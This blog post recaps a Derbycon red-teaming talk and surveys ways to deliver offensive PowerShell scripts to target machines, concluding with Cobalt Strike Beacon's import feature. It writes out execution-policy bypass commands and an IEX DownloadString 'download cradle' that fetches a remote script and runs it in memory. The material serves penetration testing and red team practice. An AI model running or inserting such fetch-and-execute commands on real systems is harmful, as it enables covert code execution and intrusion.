Derbycon + PowerShell Weaponization

Derbycon Wrapup

This past Friday, my boss (@davidpmcguire) and I had the awesome experience of speaking at Derbycon 4.0. Our talk was titled “Passing the Torch: Old School Red Teaming, New School Tactics?“. The slides have been uploaded here and the video was recorded and posted here by the much appreciated @irongeek_adc.

In the talk we covered our interpretation of red team operations, and went over five tactical areas applicable to red team engagements. In each section, we covered the background on the tradecraft, went over the ‘old school’ way of achieving a specific goal, and then showed the ‘new school’ implementations of the same tactics. We capped off with a complex, multi-part demo where my boss and I raced to the same objective with our respective old school and new school tradecraft. Hint: my way involved a lot of PowerShell, and I definitely won :)

One of the goals of my group, and one of the purposes of the presentation, is to help bridge the gap between pentesting and traditional red team operations. Some of the tactics we described (like the enumeration and abuse of domain trusts) aren’t as well known outside of traditional red team circles, and sometimes traditionally took some effort to effectively exploit. We hope that some of the tools we’ve produced like PowerView and PowerUp can help push down some of this tradecraft into your pentests as well as red team engagements.

Also, one of the things we emphasized was “offensive-in-depth”. That is, there are multiple ways of achieving the actions we described, whether through VBscript, PowerShell, C/WinAPI or native/CLI tools. Obviously some methods can help facilitate your attack flow, but as an attacker you always need to have multiple ways of achieving the same step in your chain. It definitely pays to have options.

We just want to thank everyone again for the warm welcome and awesome experience we had presenting at Derbycon. This was my first time at the conference, and it’s now far and away my favorite hacker con. I’m already looking forward to next year.

The PowerShell Weaponization Problem

As anyone who reads this blog or saw the Derbycon presentation knows, I won’t shut up about offensive PowerShell. Matt Graeber has a great post on why you should consider PowerShell as an attack platform. The more I get involved in offensive PowerShell, the more I find myself agreeing with Matt.

One of the most common questions I’ve gotten since becoming involved in offensive Posh is the weaponization problem. How do you get your scripts running on your target machines, and effectively get your results back?

I’ve done by best to cover some weaponization options in a few previous posts, but I’ll try to summarize the current options here. If I’m missing something obvious, or anyone out there has another weaponization vector, let me know!

1. With RDP access to a machine, whether through a pivot or internal access, start up powershell.exe with “C:\> powershell.exe -nop -exec bypass”. Then load up your module with an Import-Module powershell_script.ps1 or use the standard ‘download cradle’ to load your script into memory from an externally hosted source with IEX (New-Object Net.Webclient).DownloadString(“http://SERVER/script.ps1”). An advantage of having the interactive prompt is that you can get nice tab-completion of your script and its arguments.
2. Another option is to upload your target script to a machine using your agent of choice, and then execute a shell command to import and execute the script, piping everything to an output file. Something like, “powershell.exe -exec bypass -Command “& {Import-Module .\script.ps1; Invoke-CMDLET | Out-File -Encoding ascii file.txt}”. You could also do a one-liner with the IEX cradle again: “powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://HOST/script.ps1’); Invoke-CMDLET | Out-File -Encoding ascii file.txt“. These one-liners can be a bit flaky at times. Translation: your milage may vary.
3. Yet another option is to use the Metasploit module for running PowerShell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the cmdlet you want to run at the end of your script to upload, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine. I’ve had problems running scripts with long-running execution, and have had some issues with this module being a bit flaky as well.
4. You can also inject a VNC session into an agent to start the cmd prompt (like with an RDP session). Suffice to say, this isn’t the best tradecraft. Don’t do this.

As you can see, there’s not a silver bullet for PowerShell weaponization. That is, until @armitagehacker became aware of the problem :)

Cobalt Strike 2.1: A New Hope

Last week, Raphael released PowerShell weaponization in Cobalt Strike’s asynchronous Beacon payload. He has an excellent blog post on the release posted here and a demo video uploaded here.

This is the PowerShell weaponization I’ve been waiting for, and the most seamless I’ve seen up to this point. In a Beacon session, running powershell-import script.ps1 will take a script local to your attack machine and transport it to the specified Beacon agent. The script is stored in memory for the session, so it doesn’t have to be re-transported for each invocation. Then, as Raphael describes, “Use the powershell command to invoke expressions and cmdlets that reference the contents of the imported script. You may also tab complete cmdlets from the imported script with the powershell command too.”

I’ve already serious modified my workflow because of how slick this implementation is in Beacon. You can now easily weaponize the great offensive PowerShell work that’s been done (like PowerSploit) all through your existing agent communication channels. If you have multiple chained Beacon agents, you can execute PowerShell at any point in your agent mesh without having to reach out over a new connection. This is great tradecraft!

Even more awesome, this release means that you can easily integrate your own PowerShell attack kit without any extra effort. Things are even easier since the output of these commands are output to the Beacon console, which is also logged to the disk of your attacker machine by default! No longer do you need to output to an output file and pull that down over your agent.

This is one of the biggest changes to how I operate since starting to explore PowerShell earlier this year. This is the link that’s been missing from my attack workflow, and it’s already proving itself in the field.